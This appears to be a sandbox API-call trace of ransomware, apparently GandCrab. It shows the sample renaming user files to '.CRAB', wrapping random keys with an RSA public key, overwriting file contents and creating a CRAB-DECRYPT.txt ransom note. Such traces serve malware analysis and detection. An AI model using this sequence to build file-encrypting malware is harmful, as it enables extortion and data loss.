	[0126.353] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\yKH63XJp1y.doc") returned 67
	[0126.353] lstrcmpiW (lpString1="yKH63XJp1y.doc", lpString2="desktop.ini") returned 1
	[0126.353] lstrcmpiW (lpString1="yKH63XJp1y.doc", lpString2="autorun.inf") returned 1
	[0126.353] lstrcmpiW (lpString1="yKH63XJp1y.doc", lpString2="ntuser.dat") returned 1
	[0126.353] lstrcmpiW (lpString1="yKH63XJp1y.doc", lpString2="iconcache.db") returned 1
	[0126.353] lstrcmpiW (lpString1="yKH63XJp1y.doc", lpString2="bootsect.bak") returned 1
	[0126.353] lstrcmpiW (lpString1="yKH63XJp1y.doc", lpString2="boot.ini") returned 1
	[0126.353] lstrcmpiW (lpString1="yKH63XJp1y.doc", lpString2="ntuser.dat.log") returned 1
	[0126.354] lstrcmpiW (lpString1="yKH63XJp1y.doc", lpString2="thumbs.db") returned 1
	[0126.354] lstrcmpiW (lpString1="yKH63XJp1y.doc", lpString2="CRAB-DECRYPT.txt") returned 1
	[0126.354] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0126.354] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\yKH63XJp1y.doc.CRAB") returned 72
	[0126.354] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\yKH63XJp1y.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\ykh63xjp1y.doc")) returned 0x20
	[0126.354] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\yKH63XJp1y.doc", dwFileAttributes=0x20) returned 1
	[0126.355] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\yKH63XJp1y.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\ykh63xjp1y.doc"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\yKH63XJp1y.doc.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\ykh63xjp1y.doc.crab")) returned 1
	[0126.355] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0126.356] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\yKH63XJp1y.doc.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\yKH63XJp1y.doc.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\yKH63XJp1y.doc.CRAB"
	[0126.356] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\yKH63XJp1y.doc.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\yKH63XJp1y.doc.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\yKH63XJp1y.doc.CRAB.CRAB"
	[0126.356] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6e6b0) returned 1
	[0126.356] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0126.357] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0126.357] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0126.357] CryptGenRandom (in: hProv=0xd6e6b0, dwLen=0x10, pbBuffer=0x314bec4 | out: pbBuffer=0x314bec4) returned 1
	[0126.357] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0126.357] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.357] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6e7c0) returned 1
	[0126.358] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0126.358] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0126.358] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0126.358] CryptGenRandom (in: hProv=0xd6e7c0, dwLen=0x20, pbBuffer=0x314bea0 | out: pbBuffer=0x314bea0) returned 1
	[0126.358] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0126.358] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.361] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0126.361] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0126.362] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6e408) returned 1
	[0126.362] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x318ec38) returned 1
	[0126.362] CryptGetKeyParam (in: hKey=0x318ec38, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0126.362] CryptEncrypt (in: hKey=0x318ec38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314bed4*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314bed4*=0x100) returned 1
	[0126.363] GetLastError () returned 0x0
	[0126.363] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0126.363] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6e408) returned 1
	[0126.363] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x318e9b8) returned 1
	[0126.363] CryptGetKeyParam (in: hKey=0x318e9b8, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0126.363] CryptEncrypt (in: hKey=0x318e9b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314bed8*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314bed8*=0x100) returned 1
	[0126.363] GetLastError () returned 0x0
	[0126.364] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0126.364] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\yKH63XJp1y.doc.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\ykh63xjp1y.doc.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0126.364] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0126.364] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0126.365] ReadFile (in: hFile=0x3f0, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314bf1c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314bf1c*=0xa4dc, lpOverlapped=0x0) returned 1
	[0126.377] VirtualAlloc (lpAddress=0x0, dwSize=0xa4e0, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0126.379] VirtualAlloc (lpAddress=0x0, dwSize=0xa4e0, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0126.380] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.381] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xffff5b24, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.381] WriteFile (in: hFile=0x3f0, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0xa4e0, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314bf0c*=0xa4e0, lpOverlapped=0x0) returned 1
	[0126.381] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.382] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.386] WriteFile (in: hFile=0x3f0, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0126.386] WriteFile (in: hFile=0x3f0, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0126.386] WriteFile (in: hFile=0x3f0, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314bf0c*=0x8, lpOverlapped=0x0) returned 1
	[0126.386] CloseHandle (hObject=0x3f0) returned 1
	[0126.386] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.387] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.387] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.387] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.388] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.388] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.388] FindNextFileW (in: hFindFile=0x3158e40, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 0
	[0126.388] FindClose (in: hFindFile=0x3158e40 | out: hFindFile=0x3158e40) returned 1
	[0126.388] FindNextFileW (in: hFindFile=0x3158b80, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0126.388] lstrcmpW (lpString1="oz2DPnwzpr8g_T.avi", lpString2=".") returned 1
	[0126.388] lstrcmpW (lpString1="oz2DPnwzpr8g_T.avi", lpString2="..") returned 1
	[0126.388] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\", lpString2="oz2DPnwzpr8g_T.avi" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\oz2DPnwzpr8g_T.avi") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\oz2DPnwzpr8g_T.avi"
	[0126.388] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0126.389] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\oz2DPnwzpr8g_T.avi") returned 60
	[0126.389] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\oz2DPnwzpr8g_T.avi") returned 60
	[0126.389] lstrlenW (lpString=".avi") returned 4
	[0126.389] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0126.389] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".avi ") returned 5
	[0126.389] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.389] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\oz2DPnwzpr8g_T.avi") returned 60
	[0126.390] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\oz2DPnwzpr8g_T.avi") returned 60
	[0126.390] lstrcmpiW (lpString1="oz2DPnwzpr8g_T.avi", lpString2="desktop.ini") returned 1
	[0126.390] lstrcmpiW (lpString1="oz2DPnwzpr8g_T.avi", lpString2="autorun.inf") returned 1
	[0126.390] lstrcmpiW (lpString1="oz2DPnwzpr8g_T.avi", lpString2="ntuser.dat") returned 1
	[0126.390] lstrcmpiW (lpString1="oz2DPnwzpr8g_T.avi", lpString2="iconcache.db") returned 1
	[0126.390] lstrcmpiW (lpString1="oz2DPnwzpr8g_T.avi", lpString2="bootsect.bak") returned 1
	[0126.390] lstrcmpiW (lpString1="oz2DPnwzpr8g_T.avi", lpString2="boot.ini") returned 1
	[0126.390] lstrcmpiW (lpString1="oz2DPnwzpr8g_T.avi", lpString2="ntuser.dat.log") returned 1
	[0126.390] lstrcmpiW (lpString1="oz2DPnwzpr8g_T.avi", lpString2="thumbs.db") returned -1
	[0126.390] lstrcmpiW (lpString1="oz2DPnwzpr8g_T.avi", lpString2="CRAB-DECRYPT.txt") returned 1
	[0126.390] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0126.390] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\oz2DPnwzpr8g_T.avi.CRAB") returned 65
	[0126.390] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\oz2DPnwzpr8g_T.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\oz2dpnwzpr8g_t.avi")) returned 0x20
	[0126.391] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\oz2DPnwzpr8g_T.avi", dwFileAttributes=0x20) returned 1
	[0126.391] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\oz2DPnwzpr8g_T.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\oz2dpnwzpr8g_t.avi"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\oz2DPnwzpr8g_T.avi.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\oz2dpnwzpr8g_t.avi.crab")) returned 1
	[0126.392] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0126.392] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\oz2DPnwzpr8g_T.avi.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\oz2DPnwzpr8g_T.avi.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\oz2DPnwzpr8g_T.avi.CRAB"
	[0126.392] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\oz2DPnwzpr8g_T.avi.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\oz2DPnwzpr8g_T.avi.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\oz2DPnwzpr8g_T.avi.CRAB.CRAB"
	[0126.392] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e6b0) returned 1
	[0126.393] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0126.393] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0126.393] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0126.393] CryptGenRandom (in: hProv=0xd6e6b0, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0126.394] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0126.394] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.394] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0126.394] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0126.395] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0126.395] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0126.395] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0126.395] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0126.395] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.395] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0126.395] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0126.396] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6eb78) returned 1
	[0126.396] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x318ecb8) returned 1
	[0126.396] CryptGetKeyParam (in: hKey=0x318ecb8, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0126.396] CryptEncrypt (in: hKey=0x318ecb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0126.397] GetLastError () returned 0x0
	[0126.397] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0126.397] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0126.397] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x318ea78) returned 1
	[0126.397] CryptGetKeyParam (in: hKey=0x318ea78, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0126.397] CryptEncrypt (in: hKey=0x318ea78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0126.398] GetLastError () returned 0x0
	[0126.398] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0126.398] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\oz2DPnwzpr8g_T.avi.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\oz2dpnwzpr8g_t.avi.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0126.398] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0126.399] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0126.399] ReadFile (in: hFile=0x3ec, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314c9c4*=0x1134c, lpOverlapped=0x0) returned 1
	[0126.415] VirtualAlloc (lpAddress=0x0, dwSize=0x11350, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0126.417] VirtualAlloc (lpAddress=0x0, dwSize=0x11350, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0126.419] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.419] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffeecb4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.419] WriteFile (in: hFile=0x3ec, lpBuffer=0x3010000*, nNumberOfBytesToWrite=0x11350, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x3010000*, lpNumberOfBytesWritten=0x314c9b4*=0x11350, lpOverlapped=0x0) returned 1
	[0126.419] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.420] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.424] WriteFile (in: hFile=0x3ec, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0126.424] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0126.424] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0126.424] CloseHandle (hObject=0x3ec) returned 1
	[0126.424] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.424] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.425] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.425] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.425] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.425] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.426] FindNextFileW (in: hFindFile=0x3158b80, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 0
	[0126.426] FindClose (in: hFindFile=0x3158b80 | out: hFindFile=0x3158b80) returned 1
	[0126.426] FindNextFileW (in: hFindFile=0xded2e8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0
	[0126.426] FindClose (in: hFindFile=0xded2e8 | out: hFindFile=0xded2e8) returned 1
	[0126.426] FindNextFileW (in: hFindFile=0xd80560, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0126.426] lstrcmpW (lpString1="Documents", lpString2=".") returned 1
	[0126.426] lstrcmpW (lpString1="Documents", lpString2="..") returned 1
	[0126.426] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents"
	[0126.426] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\"
	[0126.426] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0126.426] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0126.426] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0126.427] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0126.427] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0126.427] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.427] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314d4b8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0126.427] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0126.427] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0126.427] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314cca0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0126.427] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0126.427] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0126.427] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0126.427] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\\\CRAB-DECRYPT.txt") returned 49
	[0126.427] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d4
